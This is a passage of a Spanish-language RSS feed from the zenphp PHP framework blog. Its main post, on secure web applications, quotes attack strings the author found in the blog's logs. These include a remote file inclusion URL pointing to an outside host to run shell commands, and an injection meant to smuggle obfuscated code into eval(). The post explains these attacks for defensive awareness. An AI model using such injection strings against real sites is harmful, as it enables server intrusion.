<p>Una captura:</p>
<p><a href="http://blog.zenphp.es/wp-content/uploads/2008/05/dhtml_calendar.jpg"><img class="alignnone size-full wp-image-136" title="dhtml_calendar" src="http://blog.zenphp.es/wp-content/uploads/2008/05/dhtml_calendar.jpg" alt="" width="500" height="282" /></a></p>
<p>Espero que os sirvan, como siempre <img src='http://blog.zenphp.es/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<span class="akst_link"><a href="http://blog.zenphp.es/?p=133&amp;akst_action=share-this"  title="E-mail this, post to del.icio.us, etc." id="akst_link_133"  class="akst_share_link">Compártelo</a>
</span>]]></content:encoded>
			<wfw:commentRss>http://blog.zenphp.es/2008/05/13/mas-extras-para-completar-zenphp-vcards-y-dhtml-calendar/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Expandiendo zenphp a los medios</title>
		<link>http://blog.zenphp.es/2008/04/24/expandiendo-zenphp-a-los-medios/</link>
		<comments>http://blog.zenphp.es/2008/04/24/expandiendo-zenphp-a-los-medios/#comments</comments>
		<pubDate>Thu, 24 Apr 2008 10:25:22 +0000</pubDate>
		<dc:creator>juaxix</dc:creator>
				<category><![CDATA[Documentación]]></category>
		<category><![CDATA[Funcionalidades]]></category>
		<category><![CDATA[framework]]></category>
		<category><![CDATA[framework español]]></category>
		<category><![CDATA[zenphp]]></category>

		<guid isPermaLink="false">http://blog.zenphp.es/?p=125</guid>
		<description><![CDATA[Resume un artículo sobre procesamiento de cadenas en PHP y usando ,opcionalmente el framework zenphp]]></description>
			<content:encoded><![CDATA[<p>Para expandir zenphp escribo artículos donde tan sólo explico lo que los programadores necesitan, se hace más fácil de leer si no son muy largos y está escrito de forma que es comprensible independientemente del nivel que tenga el lector,&#8230;o al menos se intenta <img src='http://blog.zenphp.es/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<table border="0">
<tbody>
<tr>
<td>El último artículo que he escrito va sobre <a href="http://granadaphp.agenciaq4.com/?p=66" target="_blank">cadenas de texto y expresiones regulares</a>, muchas comunidades suelen tener cientos de preguntas ,donde se repiten muy a menudo los temas, con estos pequeños tutoriales se pretende ahorrar horas de conversaciones y preguntas/respuestas que por bien que estén necesitan un tiempo para ser publicados y completados.</td>
<td valign="top"><a href="http://blog.zenphp.es/wp-content/uploads/2008/04/bolicas_zen.jpg"><img class="aligncenter size-full wp-image-126" title="bolicas_zen" src="http://blog.zenphp.es/wp-content/uploads/2008/04/bolicas_zen.jpg" alt="" width="173" height="141" /></a></td>
</tr>
</tbody>
</table>
<p>Tener en cuenta todos los casos es fundamental, para hacerlo me ayudo de los libros que voy encontrando, la mayoría están en inglés y a veces me sorprendo a mi mismo leyendo y escuchando cosas en este idioma, como si fuera español, aunque no me vuelvo a plantear si el framework debería estar en inglés, me parece bien como está <img src='http://blog.zenphp.es/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<span class="akst_link"><a href="http://blog.zenphp.es/?p=125&amp;akst_action=share-this"  title="E-mail this, post to del.icio.us, etc." id="akst_link_125"  class="akst_share_link">Compártelo</a>
</span>]]></content:encoded>
			<wfw:commentRss>http://blog.zenphp.es/2008/04/24/expandiendo-zenphp-a-los-medios/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Aplicaciones web seguras</title>
		<link>http://blog.zenphp.es/2008/04/20/aplicaciones-web-seguras/</link>
		<comments>http://blog.zenphp.es/2008/04/20/aplicaciones-web-seguras/#comments</comments>
		<pubDate>Sun, 20 Apr 2008 08:00:26 +0000</pubDate>
		<dc:creator>juaxix</dc:creator>
				<category><![CDATA[Algoritmos]]></category>
		<category><![CDATA[Documentación]]></category>
		<category><![CDATA[Funcionalidades]]></category>
		<category><![CDATA[seguridad]]></category>

		<guid isPermaLink="false">http://blog.zenphp.es/?p=124</guid>
		<description><![CDATA[Escribí hace algún tiempo un artículo donde explicaba el problema de que se diera mucho a conocer un software hasta que mucha gente lo usara ,comentándolo públicamente&#8230;y por qué existe un riesgo mayor mientras más fama tenga&#8230;
He encontrado indicios de intentos de explotación de agujeros de distinta índole en los logs de este blog, aquí [...]]]></description>
			<content:encoded><![CDATA[<p>Escribí hace algún tiempo <a href="http://blog.zenphp.es/2008/03/04/razones-para-usar-las-clases-de-zenphpeficiencia-y-seguridad/">un artículo</a> donde explicaba el problema de que se diera mucho a conocer un software hasta que mucha gente lo usara ,comentándolo públicamente&#8230;y por qué existe un riesgo mayor mientras más fama tenga&#8230;<br />
He encontrado indicios de intentos de explotación de agujeros de distinta índole en los logs de este blog, aquí teneis ejemplos de lo que se pretende hacer&#8230;</p>
<h4>¡¡Lanzamiento de caña!!</h4>
<ul>
<li>Con la siguiente dirección:<br />
home.php?section=http://www.backbreakacres.com/22/test.txt??<br />
se pretende inyectar un ataque con una línea de ejecución de comando de consola, detectando previamente el sistema operativo para lanzar un servicio de red&#8230;para ello se necesita comprobar si el parámetro <a href="http://es.php.net/features.safe-mode" target="_blank">safe_mode</a> de PHP está activado&#8230;algo relativamente sencillo que puede ser testeado rápidamente y tiene <a title="Ver un ejemplo" href="http://granadaphp.agenciaq4.com/?p=51" target="_blank">grabes consecuencias</a>&#8230;</li>
<li>Por medio del siguiente ataque<br />
URL%20http://yoshishome.chat.ru/images se intenta engañar a un controlador de una aplicación web<br />
con la aspiración ni más ni menos que de insertar todo un conjunto de órdenes en una cadena que está ofuscada y encriptada para que los analizadores de código no encuentren ninguna linea u orden sospechosa en tiempo de ejecución, recordemos el peligro de la función <a href="http://es.php.net/eval" target="_blank">eval() </a>de PHP&#8230;</li>
<li>Técnicas raras usando métodos que concatenan dirección tras dirección con parámetros ++GET para engañar al analizador de .htaccess de Apache y conseguir descargar ficheros ,etc.</li>
</ul>
<p>A esto se ha de añadir otros tipos de ataque como las <a title="Ver cambios en las clases para evitar estos ataques" href="https://forja.rediris.es/websvn/wsvn/csl2-zenphp/?rev=284&amp;sc=1" target="_blank">inyecciones de SQL</a> en los formularios, modificación de cookies de sesión, des-habilitación de JavaScript, antes,mientras y tras la carga de una web, alteración del envío de una petición por métodos POST y GET, aprovechar vulnerabilidades conocidas en general de PHP, como la escritura de ficheros y <a href="https://forja.rediris.es/forum/message.php?msg_id=1841" target="_blank">ataques XSS</a>&#8230;etc.<br />
Por eso, un buen framework ha de pensar en estas cosas tan importantes y dar soluciones a la altura, en mi caso,he propuesto algunas&#8230;y están implementadas de forma transparente.<br />
Si no teníamos suficiente con diseñar las webs para cada tipo de navegador (y S.O.) además tenemos que estar atentos a los ataques del exterior, jeje</p>
<span class="akst_link"><a href="http://blog.zenphp.es/?p=124&amp;akst_action=share-this"  title="E-mail this, post to del.icio.us, etc." id="akst_link_124"  class="akst_share_link">Compártelo</a>
</span>]]></content:encoded>
			<wfw:commentRss>http://blog.zenphp.es/2008/04/20/aplicaciones-web-seguras/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
